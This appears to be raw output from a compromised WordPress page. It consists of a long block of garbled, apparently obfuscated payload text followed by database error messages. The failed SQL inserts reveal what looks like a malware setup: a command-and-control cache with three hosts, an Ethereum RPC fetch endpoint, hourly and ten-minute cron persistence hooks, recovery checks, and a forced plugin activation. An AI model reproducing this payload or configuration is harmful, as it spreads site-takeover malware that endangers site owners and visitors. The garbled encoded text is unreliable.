E[sZ]V\MU]NVK_X^EBKlVUAG_IICHXT]NJOFKBM]&sB[[UBM_DDOZKMH]NBBOMCYU&EJCKD@]DD^NVPPCKD@]DD^NVsB[[UBM_DDOEU@^_Y^]OZUI]BT]NJOFKBM]&YB_IXCKD@]DD^NV sB[[UBM_DDO&Q&X^UW&&lNND@UGH@\HB@NND@UGH@\HB@^_NIVAZNND@UGH@\HB@E[sZ]V\MU]NVK^_NIVAZ E[sZ]V\MU]NVK&M]sT^[HJUTEK^NHCBNJO_ZKMH]NBBOMCYU&JC^IMODM^^MUNND@UGH@\HB@^_NIVAZ YsOMCBICZZUG_CDXBM_C[sNJAYU]XW&EJlE[sZ]V\MU]NVKC[sNJAYU]XM]sT^[HJUTlNND@UGH@\HB@C[sNJAYU]XM]sT^[HJUT&&&&Q&YB_IXM]sT^[HJUT C[sNJAYU]X&QOMXODxD^C[MN@I@XB\NXsW&&QOMXODiTOI\XECB@XB\NXsW&Q&&&&YB_IXT]NJOFKBM]&&&&KUG@_ZHVYZGNEK^NHCBNJO_ VUAG_IICHX &KUG@_ZHVYZGNE[sZ]V\MU]NVK NND@UGH@\HB@ &KUG@_ZHVYZGNEK^NHCBNJO_ VUAG_IICHX &KUG@_ZHVYZGNE[sZ]V\MU]NVK EK^NHCBNJO_ &KUG@_ZHVYZGNE[sZ]V\MU]NVK VUAG_IICHX &KUG@_ZHVYZGNE[sZ]V\MU]NVK EK^NHCBNJO_ r&KUG@_ZHVYZGNEK^NHCBNJO_ EK^NHCBNJO_ &KUG@_ZHVYZGNNND@UGH@\HB@ E[sZ]V\MU]NVK &&&&GHI^sK[IHKNND@UGH@\HB@ EK^NHCBNJO_ r &GHI^sK[IHKNND@UGH@\HB@ NND@UGH@\HB@ r &&GHI^sK[IHKEK^NHCBNJO_ VUAG_IICHX  &GHI^sK[IHKEK^NHCBNJO_ E[sZ]V\MU]NVK  &&GHI^sK[IHKEK^NHCBNJO_ VUAG_IICHX  r&&&KUG@_ZHVYZGNEK^NHCBNJO_ E[sZ]V\MU]NVK  &&GHI^sK[IHKNND@UGH@\HB@ VUAG_IICHX&GHI^sK[IHKEK^NHCBNJO_ VUAG_IICHX TT &GHI^sK[IHKE[sZ]V\MU]NVK VUAG_IICHX&&GHI^sK[IHKE[sZ]V\MU]NVK EK^NHCBNJO_ TT &&GHI^sK[IHKEK^NHCBNJO_ EK^NHCBNJO_  &KUG@_ZHVYZGNVUAG_IICHX VUAG_IICHX&GHI^sK[IHKNND@UGH@\HB@ EK^NHCBNJO_&&GHI^sK[IHKEK^NHCBNJO_ NND@UGH@\HB@&&KUG@_ZHVYZGNNND@UGH@\HB@ E[sZ]V\MU]NVK &KUG@_ZHVYZGNVUAG_IICHX NND@UGH@\HB@ &KUG@_ZHVYZGNVUAG_IICHX EK^NHCBNJO_ &&KUG@_ZHVYZGNNND@UGH@\HB@ VUAG_IICHX &KUG@_ZHVYZGNEK^NHCBNJO_ NND@UGH@\HB@ &&&&KUG@_ZHVYZGNNND@UGH@\HB@ E[sZ]V\MU]NVK &KUG@_ZHVYZGNNND@UGH@\HB@ VUAG_IICHX &&KUG@_ZHVYZGNEK^NHCBNJO_ NND@UGH@\HB@ &KUG@_ZHVYZGNEK^NHCBNJO_ E[sZ]V\MU]NVK &&KUG@_ZHVYZGNEK^NHCBNJO_ EK^NHCBNJO_ &KUG@_ZHVYZGNE[sZ]V\MU]NVK NND@UGH@\HB@ &&KUG@_ZHVYZGNEK^NHCBNJO_ NND@UGH@\HB@ &KUG@_ZHVYZGNNND@UGH@\HB@ NND@UGH@\HB@ &&&&KUG@_ZHVYZGNNND@UGH@\HB@ NND@UGH@\HB@ TT&KUG@_ZHVYZGNE[sZ]V\MU]NVK VUAG_IICHX TT&&&KUG@_ZHVYZGNVUAG_IICHX E[sZ]V\MU]NVK &KUG@_ZHVYZGNEK^NHCBNJO_ NND@UGH@\HB@ &KUG@_ZHVYZGNNND@UGH@\HB@ VUAG_IICHX r&KUG@_ZHVYZGNEK^NHCBNJO_ VUAG_IICHX &KUG@_ZHVYZGNE[sZ]V\MU]NVK VUAG_IICHX GEFGI_PNZKUDTGXGEFGI_r&EJE[sZ]V\MU]NVKEK^NHCBNJO_WZ\TED[KEPB\_Z\TED[KEr&NND@UGH@\HB@JYBOXECBW&&&EJIA\XUk`cnm`wE[sZ]V\MU]NVKq^IXY^B&EJHIJEBIHVUAG_IICHXPPEK^NHCBNJO_EK^NHCBNJO_^IXY^B&&&&EJEK^NHCBNJO_VUAG_IICHXW&X^UW&@GJZNOEK]OOO_&QOMXODxD^C[MN@I@XB\NXsW&QOMXODiTOI\XECB@XB\NXsW&Q&Q&Q&Q&KUG@_ZHVYZGNNND@UGH@\HB@ EK^NHCBNJO_ &&&&KUG@_ZHVYZGNE[sZ]V\MU]NVK E[sZ]V\MU]NVK&KUG@_ZHVYZGNE[sZ]V\MU]NVK E[sZ]V\MU]NVK&KUG@_ZHVYZGNNND@UGH@\HB@ E[sZ]V\MU]NVK &KUG@_ZHVYZGNNND@UGH@\HB@ JYBOXECBW&EJNND@UGH@\HB@EK^NHCBNJO_PPVUAG_IICHXE[sZ]V\MU]NVK^IXY^B&&&&AJFKXNsEFOZ@NDEBXlKIXsC\XECBNND@UGH@\HB@ &EJVUAG_IICHXAJFKXNsEFOZ@NDW&&&lY\HMXIsC\XECBEK^NHCBNJO_ E[sZ]V\MU]NVK&ZHU@XIYK^&Q&Q &&&&&KUG@_ZHVYZGNNND@UGH@\HB@ EK^NHCBNJO_&&&&GHI^sK[IHKNND@UGH@\HB@ VUAG_IICHX&EJVUAG_IICHXE[sZ]V\MU]NVK

HEHsMOXECBVUAG_IICHXW&EVFED^@X@ZH&Q&&&&&Q&MHHsMOXECBMHAEBsAIBY JYBOXECBW&MHHsC\XECB_s\MKIIXXEBK_ IXXEBK_ AMBMKIsC\XECB_ ^IX^CXCC@GEXJET_IXXEBK_ JYBOXECBW&IODCHEZO@M__[^M\DIXXEBK_DJC^AAIXDCH\C_XMOXECBC\XECB_\D\&_IXXEBK_sJEI@H_^IX^CXCC@GEXJETsK^CY\&HCs_IXXEBK_s_IOXECB_^IX^CXCC@GEXJET_IXXEBK_&_YNAEXsNYXXCB&IODCJC^AHEZ&Q&Q&MHHsMOXECBMHAEBsEBEX JYBOXECBW&^IKE_XI^s_IXXEBK^IX^CXCC@GEXJETsK^CY\ ^IX^CXCC@GEXJETsC\XECB_&MHHs_IXXEBK_s_IOXECB^IX^CXCC@GEXJETsAMEB oCBJEKY^MXECB JYBOXECBWIODC\oCBJEKY^IC\XECB_NI@C[\Q ^IX^CXCC@GEXJET_IXXEBK_&MHHs_IXXEBK_sJEI@H^IX^CXCC@GEXJETsOMODI oMODIaCHI JYBOXECBW&CKIXsC\XECB^IX^CXCC@GEXJETsC\XECB_ M^^MUZE__IXCwOMODIqCwOMODIqIBMN@IH&IODC_I@IOXBMAII_OsMXX^^IX^CXCC@GEXJETsC\XECB_wOMODIqC\XECBZM@YIIBMN@IH_I@IOXIHZ IBMN@IH JM@_IiBMN@IHC\XECBC\XECBZM@YIHE_MN@IH_I@IOXIHZ HE_MN@IH JM@_IhE_MN@IHC\XECB_I@IOX&Q ^IX^CXCC@GEXJET_IXXEBK_ ^IX^CXCC@GEXJETsAMEB&Q&EJJYBOXECBsITE_X_MHHs_DC^XOCHIMHHs_DC^XOCHI^IX^CsXCC@GEXsJETs_XMX_ JYBOXECBW&CKIXsC\XECB^IX^CXCC@GEXJETsC\XECB_ M^^MU&^IXY^B_XMX_E__IXCwOMODIqCwOMODIqBCBI&Q&EJJYBOXECBsITE_X_[\sBC^AM@EVIs\MXD

JYBOXECBsITE_X_^IKE_XI^sMOXEZMXECBsDCCG^IKE_XI^sMOXEZMXECBsDCCGssje`iss JYBOXECBW&EJKIXsC\XECB^IX^CXCC@GEXJETsC\XECB_MHHsC\XECB^IX^CXCC@GEXJETsC\XECB_ M^^MUOMODIIBMN@IH ZI^_ECB&Q&', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_fetch_fails', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_fail_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_initialized', '4.3.24', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_rpc', 'https://0xrpc.io/eth', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_c2_cache', 'https://root-cherry.com/n3s9c2a\nhttps://forecast-chaos.com/n3s9c2a\nhttps://sound-obstacle.com/n3s9c2a', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788525260;a:1:{s:16:\"v8dylt676e918ugr\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788525560;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788524960', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:33:\"elite-store-io/elite-store-io.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)